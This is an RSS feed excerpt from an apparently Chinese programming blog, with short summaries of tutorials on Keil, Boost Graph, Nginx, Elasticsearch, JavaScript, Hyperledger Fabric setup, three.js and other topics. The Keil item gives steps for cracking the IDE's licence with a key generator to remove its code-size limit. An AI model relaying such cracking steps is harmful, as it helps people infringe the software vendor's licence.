      <description>写本篇文章的目的主要是因为在进行单片机开发的过程中，基本上都是使用的keil作为开发工具，因此这里主要针对我个人在进行单片机开发过程中遇到的问题和疑惑做一个总结，方便其他学习者参考。&#xA;1、keil工具介绍&#xA;keil软件主要是在进行单片机开发的时候使用，主要有针对于c51（AT89C51、STC89C51等51单片机）、arm单片机（LPC、STM32等系列arm单片机），该工具主要集编辑、编译、硬件芯片基本头文件和启动代码支持、调试等于一体。&#xA;keil是公司名称&#xA;uVision是IDE名称，用于源代码编辑等，包含了编译、调试、下载等工具。&#xA;MDK是微控制器开发集合，包含了不同芯片内核所需的库和文件，支持ARM等。&#xA;MDKCM是兼容开发集合，如MDKCM518是在uVision5上兼容uVision4的包。&#xA;2、在keil4上ulink下载调试不支持&#xA;在使用ULINK进行单片机程序下载和调试的时候，如果在keil软件中显示不出来ULINK设备，这时候，可能原因是ULINK的驱动没安装上，这就需要去手动安装ULINK（网上自己搜索下载），要么就更新keil4版本，最好到4.7以后，因为4.7版本以后自带了ULINK的驱动&#xA;3、keil4使用方法&#xA;（1）首先你需要下载安装keil4的安装包：mdk4.exe（网上下载就好了）&#xA;安装过程中，关于存放安装路径一定不要有中文&#xA;（2）对安装的keil4进行破解&#xA;使用网上的keil破解软件，先在keil4的license management中将CID拷贝到破解软件，然后选择target目标：C51或者arm，最后将生成的许可证在keil4中输入注册就可以了。&#xA;如果不破解，也能正常使用，只是编写的程序体积不能超过32KB&#xA;（3）新建工程&#xA;注意选择自己芯片对应的型号，并且添加start.s启动代码&#xA;4、keil4和keil5的区别&#xA;keil4是基本将所有的单片机芯片厂商生产的各种型号单片机的头文件、汇编启动代码、初始化代码这些硬件相关代码都囊括了，在新建工程的时候直接去选择就好了，缺点就是不能支持更多的库文件&#xA;keil5则是将所有关于硬件芯片的东西全部剥离了，软件是软件、固件库是固件库，二者分开了，也就是说你除了安装keil软件（mdk5.exe）以外还要安装对应芯片的固件库。&#xA;5、keil5安装&#xA;除了安装mdk5.exe程序和破解之外，还需要安装开发芯片的固件库：http://www.keil.com/boards2/&#xA;找到自己的芯片型号，下载安装就可以了。&#xA;6、keil4和keil5共存&#xA;keil4和keil5共存主要分为以下两部分：&#xA;（1）keil5支持打开并编译下载keil4的工程&#xA;需要安装支持包：MDKCM&#xA;（2）在Windows上同时安装keil4和keil5，并且二者支架互不干扰&#xA;同时安装keil4，keil5都可以，但是会出现每次打开工程默认是以keil5打开，要想修改，就需要按下Windows窗口键+R，在运行中输入regedit回车，然后在注册表中找到HKEY_CLASSES_ROOT\UVPROJFILE\Shell\open\command，然后修改数值数据为keil4的安装路径就可以了：</description>
    </item>
    <item>
      <title>boost graph lib 下建图，并绑定属性，然后查找最短路径</title>
      <link>https://bchobby.github.io/posts/8bdc0e6e7269dbf6bf6b70bde36e5398/</link>
      <pubDate>Fri, 02 Mar 2018 11:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bdc0e6e7269dbf6bf6b70bde36e5398/</guid>
      <description>#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;vector&amp;gt; #include &amp;lt;boost/config.hpp&amp;gt; #include &amp;lt;boost/graph/graph_traits.hpp&amp;gt; #include &amp;lt;boost/graph/adjacency_list.hpp&amp;gt; #include &amp;lt;boost/graph/dijkstra_shortest_paths.hpp&amp;gt; #include &amp;lt;boost/property_map/property_map.hpp&amp;gt; #include &amp;lt;boost/graph/graph_utility.hpp&amp;gt; // Create a struct to hold properties for each vertex typedef struct vertex_properties { std::string label; int p1; } vertex_properties_t; // Create a struct to hold properties for each edge typedef struct edge_properties { std::string label; //int p1; double weight; } edge_properties_t; // Define the type of the graph typedef boost::adjacency_list&amp;lt;boost::vecS, boost::vecS, boost::directedS, vertex_properties_t, edge_properties_t&amp;gt; graph_t; typedef boost::graph_traits&amp;lt;graph_t&amp;gt;::vertex_descriptor vertex_descriptor_t; typedef graph_t::edge_descriptor edge_descriptor_t; typedef boost::property_map&amp;lt;graph_t, boost::vertex_index_t&amp;gt;::type index_map_t; typedef boost::iterator_property_map&amp;lt;vertex_descriptor_t*, index_map_t*, vertex_descriptor_t, vertex_descriptor_t&amp;amp;&amp;gt; predecessor_map_t; // The graph, with edge weights labeled.</description>
    </item>
    <item>
      <title>为什么要用Nginx反向代理</title>
      <link>https://bchobby.github.io/posts/c8cc3174d33943c3c417f04a29685c6d/</link>
      <pubDate>Thu, 01 Mar 2018 19:05:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8cc3174d33943c3c417f04a29685c6d/</guid>
      <description>之前看过阿里巴巴 陶辉写的《深入理解Nginx：模块开发与架构解析》，里面也提到了这一点，今天突然想到了，就回顾记录一下，有可能说的不全。&#xA;nginx反向代理为什么能降低上游服务器的负载。 一般来说公网延迟高，客户端与nginx之间的请求连接走公网，nginx先把这些请求缓存住，等这些请求数据全部完成之后nginx再向内网服务器请求，降低公网网络延迟成本，同时也降低一个连接占用服务端程序的时间。&#xA;原因：因为tcp不一定一次就能把全部数据传输完毕，所以一个连接可能需要等待很久才能把所有需要的数据都传输完毕，而这样的空闲连接如果都直接连接到服务器上的话，会加重服务器负担，而nginx在这方面做了很大的优化，可以承载更多的连接，空闲连接也不会占据太多内存，所以nginx作为反向代理能降低上游服务器的负载。</description>
    </item>
    <item>
      <title>文件比较工具-BCompare的简单使用</title>
      <link>https://bchobby.github.io/posts/1e3641a719c1dcfb93c23ff88b2a27e0/</link>
      <pubDate>Thu, 01 Mar 2018 15:13:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e3641a719c1dcfb93c23ff88b2a27e0/</guid>
      <description>相信大家在工作中会接触到合代码的情况，特别像使用SVN这种类似的版本管理的工具，我们开发过程中不可能就拉一个主干，然后所有的需求都在主干上开发。这肯定是不合理的。一般我们会拉一个主干，然后拉一个分支，然后再分支上开发，开发完上线后再将分支代码合到主干。当然我们可能会拉多个分支来开发不同的需求。那么我们就可以用BCompare工具来合代码，操作起来也十分方便。&#xA;第一步：我们将两个不同的分支代码（文件夹）直接拉到BCompare中，它会自动打开。&#xA;第二步：我们将无关的内容排除，如本例中的.svn(h)。按住ctrl选中两边的.svn(h)文件夹，右键选择排除 第三步：排除无关文件夹后，随便选中一个文件夹，然后ctrl+A全选，点击工具栏中的全部展开。展开后，再随便选中一个文件夹，ctrl+A全选，然后点击操作选择比较内容。如图 第四步：我们可以看到有CRC比较、二进制比较、基于规则的比较。我们可以选中CRC比较，点击开始&#xA;第五步：第一项比较开始后我们再重复第四步的操作，点击操作选择比较内容，然后选择二进制比较，接下来重复同样的步骤直到三个比较都完成。 第六步：比较完后，剩下的就是两边有差别的内容了，我们看到左边主要有红色文件和蓝色文件名 弟七步：对于红色的文件，说明我们修改了里面的内容（这里是代码）。我们点击红色文件，就可以看到里面的差异内容了，假设我是要将左边的代码合到右边，那么只要点击旁边的小箭头就可以了，然后点击下右边保存。而对于蓝色的文件，说明是新增的内容（比如实体类），我们只需要右键选择复制到右边就OK 了。 以上都完成后，我们就可以提交到SVN了。 当然这只是此工具的一小部分操作，既可以比较文件也可以比较文件夹。</description>
    </item>
    <item>
      <title>Elasticsearch之Analyze（分析过程）</title>
      <link>https://bchobby.github.io/posts/2036604833dd69a8be074347e857c611/</link>
      <pubDate>Wed, 28 Feb 2018 17:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2036604833dd69a8be074347e857c611/</guid>
      <description>_analyze是Elasticsearch一个非常有用的API，它可以帮助你分析每一个field或者某个analyzer/tokenizer是如何分析和索引一段文字。 返回结果字段含义： token是一个实际被存储在索引中的词 position指明词在原文本中是第几个出现的 start_offset和end_offset表示词在原文本中占据的位置。 1、默认analyzer GET /_analyze? {&#34;analyzer&#34; : &#34;standard&#34;, &#34;text&#34; : &#34;床前明月光&#34;} { &#34;tokens&#34;: [ { &#34;token&#34;: &#34;床&#34;, &#34;start_offset&#34;: 0, &#34;end_offset&#34;: 1, &#34;type&#34;: &#34;&amp;lt;IDEOGRAPHIC&amp;gt;&#34;, &#34;position&#34;: 0 }, { &#34;token&#34;: &#34;前&#34;, &#34;start_offset&#34;: 1, &#34;end_offset&#34;: 2, &#34;type&#34;: &#34;&amp;lt;IDEOGRAPHIC&amp;gt;&#34;, &#34;position&#34;: 1 }, { &#34;token&#34;: &#34;明&#34;, &#34;start_offset&#34;: 2, &#34;end_offset&#34;: 3, &#34;type&#34;: &#34;&amp;lt;IDEOGRAPHIC&amp;gt;&#34;, &#34;position&#34;: 2 }, { &#34;token&#34;: &#34;月&#34;, &#34;start_offset&#34;: 3, &#34;end_offset&#34;: 4, &#34;type&#34;: &#34;&amp;lt;IDEOGRAPHIC&amp;gt;&#34;, &#34;position&#34;: 3 }, { &#34;token&#34;: &#34;光&#34;, &#34;start_offset&#34;: 4, &#34;</description>
    </item>
    <item>
      <title>js获取url地址参数</title>
      <link>https://bchobby.github.io/posts/34726458fe6936a0b6fc22633f65ca4b/</link>
      <pubDate>Wed, 28 Feb 2018 14:28:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34726458fe6936a0b6fc22633f65ca4b/</guid>
      <description>方法一：较为简单，创建一个公共的js，将下列代码放入并引用&#xA;$.extend({ getUrlVars: function(){ var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf(&#39;?&#39;) + 1).split(&#39;&amp;amp;&#39;); for(var i = 0; i &amp;lt; hashes.length; i++){ hash = hashes[i].split(&#39;=&#39;); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; }, getUrlVar: function(name){ return $.getUrlVars()[name]; } }); 在需要的页面中声明变量，获取想要得到的url参数&#xA;Var 变量名 = decodeURI($.getUrlVar(&#39;参数名&#39;)); 方法二：适用于全局&#xA;function GetQueryString(参数名) {&#x9;var reg = new RegExp(&#34;(^|&amp;amp;)&#34; + 参数名 + &#34;=([^&amp;amp;]*)(&amp;amp;|$)&#34;); var r = decodeURI(window.location.search.substr(1)).match(reg); if (r != null)return unescape(r[2]); return null; } var sid = GetQueryString(&#34;</description>
    </item>
    <item>
      <title>阿里云oss浏览器开发（Browser-JS-SDK ）实现多文件上传并监测上传进度</title>
      <link>https://bchobby.github.io/posts/369effb1c12ed89dbf4a0e2c3b3fce9a/</link>
      <pubDate>Wed, 28 Feb 2018 14:14:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/369effb1c12ed89dbf4a0e2c3b3fce9a/</guid>
      <description>应公司需求实现云空间多文件上传功能，后台接口为JAVA开发。&#xA;先开始采用直接调用后台给的接口实现多文件上传功能，发现jqery封装的上传进度监测并不准确，而且文件上传文件速度过慢，用过很多方法都没有实现想要的效果。&#xA;后来改用阿里云oss对象存储来实现多文件上传功能并监测上传进度的功能：&#xA;首先，引入js文件，这是必不可少的&#xA;&amp;lt;script src=&#34;https://www.promisejs.org/polyfills/promise-6.1.0.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://gosspublic.alicdn.com/aliyun-oss-sdk.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 接下来是js功能实现 var urllib = OSS.urllib; var Buffer = OSS.Buffer; var OSS = OSS.Wrapper; var STS = OSS.STS; var j=0; $(&#34;#fileMutiply&#34;).change(function eventStart(){ var ss =this.files; //获取当前选择的文件对象 var cd = ss.length; $(&#39;.zwj&#39;).html(cd); for(var m=0;m&amp;lt;ss.length;m++){ //循环添加进度条 efileName = ss[m].name ; if (ss[m].size&amp;gt; 1024 * 1024){ sfileSize = (Math.round(ss[m].size /(1024 * 1024))).toString() + &#39;MB&#39;; } else{ sfileSize = (Math.round(ss[m].size/1024)).toString() + &#39;KB&#39;; } } var appServer = &#39; &#39;; //获取所需参数accessKeyId、accessKeySecret、stsToken接口地址 var bucket = &#39; &#39;;//通过控制台创建的bucket的名称 var region = &#39; &#39;; //bucket 所在的区域, 默认 oss-cn-hangzhou aj(); function aj(){ if(j&amp;gt;=ss.</description>
    </item>
    <item>
      <title>Hyperledger Fabric开发入门(1)——环境搭建</title>
      <link>https://bchobby.github.io/posts/8cd8d112c73f049dbe33dd660d8809b5/</link>
      <pubDate>Wed, 28 Feb 2018 10:47:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cd8d112c73f049dbe33dd660d8809b5/</guid>
      <description>一.前期准备 docker安装 (我使用的是1.13.1)&#xA;docker-compose安装 (我使用1.19.0)&#xA;go语言 (我使用的是go1.8.3)&#xA;开发环境: ubuntu16.10&#xA;1.docker 安装&#xA;sudo apt install docker.io 安装成功后，可以通过以下指令来查看版本:&#xA;docker -v 2.docker-compose安装&#xA;sudo curl -L https://github.com/docker/compose/releases/download/1.19.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose 安装成功后,通过以下指令查看版本:&#xA;docker-compose -v GO 语言环境安装&#xA;下载地址: https://golang.org/dl/ 选择合适的版本 我的版本是go1.8.3.linux-amd64.tar.gz&#xA;tar -zxvf go1.8.3.linux-amd64.tar.gz -C /usr/local 之后就可以在/usr/local下看到go文件夹了&#xA;接着配置环境变量，我的workspace是$HOME/go&#xA;sudo vi ~/.profile 在末尾加上&#xA;export PATH=$PATH:/usr/local/go/bin export GOROOT=/usr/local/go export GOPATH=$HOME/go export PATH=$PATH:$HOME/go/bin 配置完毕后执行:&#xA;source ~/.profile 查看go的版本:&#xA;go version 二.Fabric网络搭建 进入工作目录$HOME/go&#xA;创建以下一系列文件夹:&#xA;$HOME/go/src/github.com/hyperledger</description>
    </item>
    <item>
      <title>js报Uncaught SyntaxError: Unexpected token ILLEGAL 异常问题</title>
      <link>https://bchobby.github.io/posts/f553f5a9c9f55243dcb91e314cde5e46/</link>
      <pubDate>Tue, 27 Feb 2018 15:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f553f5a9c9f55243dcb91e314cde5e46/</guid>
      <description>问题：js报Uncaught SyntaxError: Unexpected token ILLEGAL&#xA;引起原因有如下：&#xA;1，button中的onclick();方法的参数没有获取到，从而导致参数为空而报错&#xA;2，检查参数引号是否为正确，是否忘了闭合。&#xA;3，如果参数中的数是从数据库中获取的，请检查数据库中的数据是否存在空格或者空行，就像我今天添加数据时是直接从网页上复制进去的，从而导致有空行存在，那么参数中的数据就存在有空行了，这样就会报这个错误。</description>
    </item>
    <item>
      <title>three.js 09-03 之 Tween 动画</title>
      <link>https://bchobby.github.io/posts/0dbc7e1df63d838dbf03902dd8d58218/</link>
      <pubDate>Tue, 27 Feb 2018 15:00:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dbc7e1df63d838dbf03902dd8d58218/</guid>
      <description>Tween.js 是一个小型的 JavaScript 库，可以从 https://github.com/sole/tween.js 下载。这个库可以用来定义某个属性在两个值之间的过渡，自动计算起始值和结束值之间的所有中间值。这个过程叫 tweening（补间）。例如，你可以用这个库将一个网格 x 轴上的位置在 10 秒钟内从 10 递减到 3，如下代码片段所示：&#xA;var tween = new TWEEN.Tween({x: 10}) .to({x: 3}, 10 000) .easing(TWEEN.Easing.Elastic.InOut) .onUpdate(function() { // 更新你的 Mesh }) .onComplete(function(){ // 如果需要，在此进行后处理动作 }); 在这段简短的示例代码中，我们创建了一个 TWEEN.Tween 对象，这个对象可以保证 x 属性在 10 秒钟内从 10 变化到 3。通过 Tween.js 你还可以指定在指定时间内属性如何变化，是线性的、指数性的，还是其他任何可能的方式（具体看可参考官方指南https://github.com/sole/tween.js/blob/master/docs/user_guide.md）。&#xA;属性值在指定时间内的变化成为 easing（缓动），在 Tween.js 中，你可以通过 .easing() 函数来配置缓动效果。在 three.js 中使用这个库非常简单。下面我们给出一个完整的示例，代码如下所示：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 09.03 - 补间动画&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;</description>
    </item>
    <item>
      <title>实现element-ui中table点击一行展开</title>
      <link>https://bchobby.github.io/posts/74a7d1217d307d31a9433930b50c0e7c/</link>
      <pubDate>Tue, 27 Feb 2018 13:46:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74a7d1217d307d31a9433930b50c0e7c/</guid>
      <description>在运用element-ui的表格展开行组件时，默认的是点击左边的小箭头才能展开，但是实际的需求却是点击一整行展开，实现方法如下：&#xA;&amp;lt;el-table :data=&#34;entdatas&#34; style=&#34;width: 100%&#34; row-key=&#34;id&#34; :expand-row-keys=&#34;entexpands&#34; @row-click=&#34;rowExpand&#34;&amp;gt; &amp;lt;el-table-column type=&#34;expand&#34;&amp;gt; &amp;lt;template scope=&#34;props&#34;&amp;gt; &amp;lt;el-form label-position=&#34;left&#34; inline class=&#34;demo-table-expand&#34;&amp;gt; &amp;lt;el-form-item label=&#34;名称：&#34;&amp;gt; &amp;lt;span style=&#34;cursor:pointer;color:#4AA6FF;&#34; @click=&#34;_goEntDetail(props.row.ENTNAME)&#34;&amp;gt;{{props.row.ENTNAME}}&amp;lt;/span&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;类型：&#34;&amp;gt; &amp;lt;span&amp;gt;{{props.row.ENTTYPE}}&amp;lt;/span&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;状态：&#34;&amp;gt; &amp;lt;span&amp;gt;{{props.row.ENTSTATUS}}&amp;lt;/span&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;日期：&#34;&amp;gt; &amp;lt;span&amp;gt;{{props.row.ESDATE}}&amp;lt;/span&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column label=&#34;名称&#34; prop=&#34;ENTNAME&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column label=&#34;状态&#34; prop=&#34;ENTSTATUS&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column label=&#34;日期&#34; prop=&#34;ESDATE&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; export default { data() { return { entdatas:[], entexpands: [] } }, rowExpand(row, event, column) { Array.prototype.remove = function (val) { let index = this.</description>
    </item>
    <item>
      <title>关于Java继承隐藏的理解</title>
      <link>https://bchobby.github.io/posts/15cc650bfd21654324ba1099918221ea/</link>
      <pubDate>Tue, 27 Feb 2018 11:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15cc650bfd21654324ba1099918221ea/</guid>
      <description>定义 如果在子类中对从父类继承来的成员变量进行重新定义，即出现了子类变量对父类变量的隐藏&#xA;隐藏的问题 设定A为父类，B为子类，当B的对象调用父类里面的方法（就是子类里面没有进行重写的方法），且方法里面用到了出现隐藏的变量，则该方法只会调用父类里面的参数变量，不会调子类里面重定义的变量。&#xA;和重写比较 重写是针对方法而言的，隐藏是针对变量而言。&#xA;在子类中，如果子类重写了父类的方法，那么子类在调用时会用重写的方法，即使子类调用父类的方法f方法（这个父类方法里面调用了有被子类重写的方法f1方法），f方法在调用f1时，会用重写后f1。当f调用被子类隐藏的变量（即被子类重定义的参数），会调用父类里面的变量，f1会调用子类重定义的变量。&#xA;所以：子类继承的方法，只能操作子类继承和隐藏的成员变量。（今天看到的一道面试题）&#xA;下面段网上的代码帮助理解：&#xA;publicclass Main {&#xA;publicstaticvoid main(String[] args) {&#xA;A a = new A();&#xA;a.printOut();&#xA;System.out.println(&#34;------------------------------&#34;);&#xA;B b = new B();&#xA;b.printOut();&#xA;System.out.println(&#34;------------------------------&#34;);&#xA;b.show();&#xA;System.out.println(&#34;------------------------------&#34;);&#xA;a = b;&#xA;a.printOut();&#xA;}&#xA;}&#xA;class A{&#xA;inti = 0;&#xA;publicvoid doAdd(){&#xA;i++;&#xA;System.out.println(&#34;A.i相加&#34;);&#xA;}&#xA;publicvoid printOut(){&#xA;this.doAdd();&#xA;System.out.println(&#34;A:&#34;+i);&#xA;}&#xA;}&#xA;class B extends A{&#xA;publicinti = 0;&#xA;publicvoid doAdd(){&#xA;i+=2;&#xA;//super.i+=2;&#xA;System.out.println(&#34;B.i相加&#34;);&#xA;}&#xA;publicvoid show(){</description>
    </item>
    <item>
      <title>three.js 09-02 之 选择对象</title>
      <link>https://bchobby.github.io/posts/8235d6318c02c90d42d458cf4ba12175/</link>
      <pubDate>Mon, 26 Feb 2018 10:59:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8235d6318c02c90d42d458cf4ba12175/</guid>
      <description>我们在讨论相机和动画之前，先来看看对象的选择实现，尽管这个跟动画没有直接的关系，但了解这个实现之后将会是一个很有益的补充。&#xA;在给出示例代码之前，我们先来看一下核心代码：&#xA;function onDocumentMouseDown(event) { event.preventDefault(); mouse.x = (event.clientX / window.innerWidth) * 2 - 1; mouse.y = -(event.clientY / window.innerHeight) * 2 + 1; raycaster.setFromCamera(mouse, camera); var intersects = raycaster.intersectObjects([scene.getObjectByName(&#39;cube&#39;), scene.getObjectByName(&#39;sphere&#39;), scene.getObjectByName(&#39;cylinder&#39;)], false); if (intersects.length &amp;lt; 1) { highlightBox.visible = false; return; } var intersected = intersects[0].object; ...... } 在这段代码里，我们使用了 THREE.Raycaster 类，来检测我们是否点在了一个对象上。当我们在屏幕上点击时，会发生以下事情：&#xA;首先，基于我们在屏幕上点击的位置，创建出一个二维向量；接着，我们通过 raycaster.setFromCamera 函数，从屏幕上的点击位置向场景中发射一束光线；最后，我们用 raycaster.intersectObjects 函数，来判断指定的对象中有没有被这束光线击中的； 上述步骤的最后一步中，结果包含了所有被光线击中的对象信息，这些信息包括：&#xA;distance: 123.456789face: THREE.Face4faceIndex: 4object: THREE.Meshpoint: THREE.Vector3 其中 object 属性就是我们点击后选中的网格对象。face 和 faceIndex 指的是网格中被选中的面。distance 属性是从相机到被点物体间的距离。而 point 则是被选中物体网格对象上的一个点。</description>
    </item>
    <item>
      <title>CSV文件导入数据库的三种方法</title>
      <link>https://bchobby.github.io/posts/3c1ba105ecf060221cbd045658f554f6/</link>
      <pubDate>Mon, 26 Feb 2018 10:23:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c1ba105ecf060221cbd045658f554f6/</guid>
      <description>将.csv格式数据导入数据库： 方式一、 在 MySQL 或者是 SQL Server 中直接编写代码，建立表格，然后导入数据。&#xA;注意：导入数据的格式要与创建数据库时的格式相同，不然会乱码。&#xA;Windows 一般都是GBK或者UTF-8&#xA;如：&#xA;CREATE TABLE `采购网` (&#xA;`采购项目名称` TEXT NULL,&#xA;`品目` TEXT NULL,&#xA;`采购单位` TEXT NULL,&#xA;`行政区域` TEXT NULL,&#xA;`公告时间` TEXT NULL,&#xA;`获取招标文件时间` TEXT NULL,&#xA;`获取招标文件的地点` TEXT NULL,&#xA;`开标时间` TEXT NULL,&#xA;`开标地点` TEXT NULL,&#xA;`预算金额` TEXT NULL,&#xA;`采购单位地址` TEXT NULL,&#xA;`采购单位联系方式` TEXT NULL,&#xA;`代理机构名称` TEXT NULL,&#xA;`代理机构地址` TEXT NULL,&#xA;`代理机构联系方式` TEXT NULL&#xA;)&#xA;COLLATE=&#39;gbk_chinese_ci&#39;&#xA;ENGINE=InnoDB&#xA;ROW_FORMAT=COMPACT&#xA;;&#xA;方式二、 直接用R来导入数据库。&#xA;注意：导入数据的格式要与创建数据库时的格式相同，不然会乱码。</description>
    </item>
    <item>
      <title>kea安装时configure: error: --with-dhcp-mysql should point to a mysql_config program</title>
      <link>https://bchobby.github.io/posts/f863b5f10014463b858a1a08f6ede53b/</link>
      <pubDate>Mon, 26 Feb 2018 10:20:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f863b5f10014463b858a1a08f6ede53b/</guid>
      <description> kea安装之前，首先安装了mysql，在安装kea时执行&#xA;./configure \--with-dhcp-mysql 时却显示configure: error: --with-dhcp-mysql should point to a mysql_config program，导致kea一直安装不下去，找了半天，最后指定一个路径显示&#xA;checking for MySQL headers and library... no configure: error: Needs MySQL library 可以定位到问题时mysql安装问题，使用yum install -y mysql-devel解决问题，重新执行&#xA;./configure \--with-dhcp-mysql接下来再执行make，make install安装kea </description>
    </item>
    <item>
      <title>R语言中as()函数与as.data.frame()、as.array()等有什么区别？</title>
      <link>https://bchobby.github.io/posts/72265c9d56b53ed3f7247d9a4e4640f9/</link>
      <pubDate>Mon, 26 Feb 2018 10:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72265c9d56b53ed3f7247d9a4e4640f9/</guid>
      <description>as()函数比as.data.frame()、as.array()等函数广泛，更具有强制性。 一、&#xA;as()函数：强制给对象到定类。如关联规则（arules）类型、智能推荐（&#34;binaryRatingMatrix&#34;&#34;recommenderlab&#34;）类型，as.data.frame()、as.array()等函数就做不到转换。&#xA;使用: as ( object , class ,strict= true , ext ) as ( object , class ) &amp;lt; - value 解释： x：任何r对象。 class：要强制对象的类的名称。 Strict：逻辑标志。如果为true，返回的对象必须严格从目标类（除非该类是虚拟类，在这种情况下，对象将来自最近的实际类，特别是原始对象，如果该类直接扩展虚拟类）。如果为false，将返回目标类的任何简单扩展，而不需要进一步更改。大致来说，一个简单的扩展只是将片段添加到现有类。 Value：用于修改对象的值。 二、&#xA;as.data.frame()、as.array()等函数，可以对已有的常用的类型转换。&#xA;类型：检查对象是否是数据帧，或者是否可以强制执行。 使用： as.data.frame(x, row.names = NULL, optional = FALSE, ...) 解释： X：任何r对象。 row.names：为数据帧提供行名称的空或字符向量。不允许丢失的值。 optional ：逻辑的。如果为true ，则设置行名称和转换列名。请注意，所有r的基本包as.data.frame ( )方法只用于列名处理，基本上是data.frame ( * , check.names = !)的含义。 ... Stringsasfactors：逻辑:字符向量是否应该转换为一个因素。</description>
    </item>
    <item>
      <title>【Perforce】使用命令行修改changelist的Description</title>
      <link>https://bchobby.github.io/posts/be25ba9d865464b70c0034cc56d6d1d6/</link>
      <pubDate>Fri, 23 Feb 2018 11:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be25ba9d865464b70c0034cc56d6d1d6/</guid>
      <description>当前项目使用Perforce控制版本。&#xA;我们可以使用 p4 change changelist# 打开一个 changelist 的相关描述，可以通过修改 Description 字段来进行修改。可是在自动化中，该方法并不合适，好在 P4 提供了 p4 change -o 以及 p4 change -i 两个指令。&#xA;p4 change&#xA;The -o flag writes the changelist specification to the standard output.&#xA;The -i flag reads a changelist specification from the standard intput.&#xA;具体用法如下：&#xA;p4 change -o changelist#(如果不加，默认为default) &amp;gt; xxx脚本修改xxxp4 change -i &amp;lt; xxx 如何使用脚本修改文件呢？这里以 python 为例。我们使用 open 函数来读写文件。open 函数常用模式：&#xA;模式含义r读模式r+读写模式，在原文件的基础上编辑w写模式，如果文件存在，则先清除文件内容a追加模式 我们需要将 “Description:” 下一行的描述修改为新描述（这里假设Description没有换行符）：&#xA;data = &#34;&#34; flag = False with open(&#39;xxx&#39;, &#39;r&#39;) as f: for line in f.</description>
    </item>
    <item>
      <title>纯C语言实现经典小游戏——贪吃蛇（VS2017）</title>
      <link>https://bchobby.github.io/posts/4d28e107f52fbebd5e764ccc2db472da/</link>
      <pubDate>Wed, 21 Feb 2018 13:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d28e107f52fbebd5e764ccc2db472da/</guid>
      <description>假期无聊第二季，用C语言实现简单经典小游戏——贪吃蛇。特别适合新手熟悉C语言。（完整程序在文章最后！！！） 主要涉及C语言知识点如下： 结构体，函数的定义及调用，指针变量，指针和数组，逻辑表达式，基本的选择和循环语句，头文件的编写等。 可以说是麻雀虽小，五脏俱全，是新手练习C语言的绝佳小项目！ 游戏界面如下： 基本思路： 蛇每吃一个食物蛇身子就增加一格，用WASD控制蛇头的运动，而蛇身子跟着蛇头走，每后一格蛇身子下一步走到上一格蛇身子的位置，以此类推。&#xA;程序主要变量如下：&#xA;#define M 20//整个图形界面的长和宽 #define N 60 struct snake a[(M - 2)*(N - 2)];//蛇身数组 int snake_x =4;//蛇身的XY坐标 int snake_y =4; int X = 1;//控制蛇头的方向量 int Y = 0; int food_x , food_y ;//食物的XY坐标 int score = 0;//分数 食物的随机位置产生是通过两个随机数分别代表X,Y坐标实现的。&#xA;void food(int *x, int *y,int *fx,int *fy,int *s, struct snake *snake) { int ffx, ffy;//上一次食物的XY坐标 ffx = *fx; ffy = *fy; if (*x == *fx &amp;amp;&amp;amp; *y == *fy)//如果吃到了食物，产生下一个食物 { do { *fx = 1 + rand() % (N - 3); *fy = 1 + rand() % (M - 3); } while (ffx == *fx &amp;amp;&amp;amp; ffy == *fy);//保证与上次食物位置不同 for (int i= (*s); i &amp;gt;= 0; i--) { if ((snake + *s)-&amp;gt;snake_x == *fx &amp;amp;&amp;amp; (snake + *s)-&amp;gt;snake_y == *fy) { *fx = 1 + rand() % (N - 3); *fy = 1 + rand() % (M - 3); } }//大概率保证食物与蛇身子的位置不同（不能完全保证） (*s)++ ; //分数加一!</description>
    </item>
    <item>
      <title>SystemUI流程分析</title>
      <link>https://bchobby.github.io/posts/06bfa7f726126dd645a93d4c94985e53/</link>
      <pubDate>Mon, 19 Feb 2018 14:10:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06bfa7f726126dd645a93d4c94985e53/</guid>
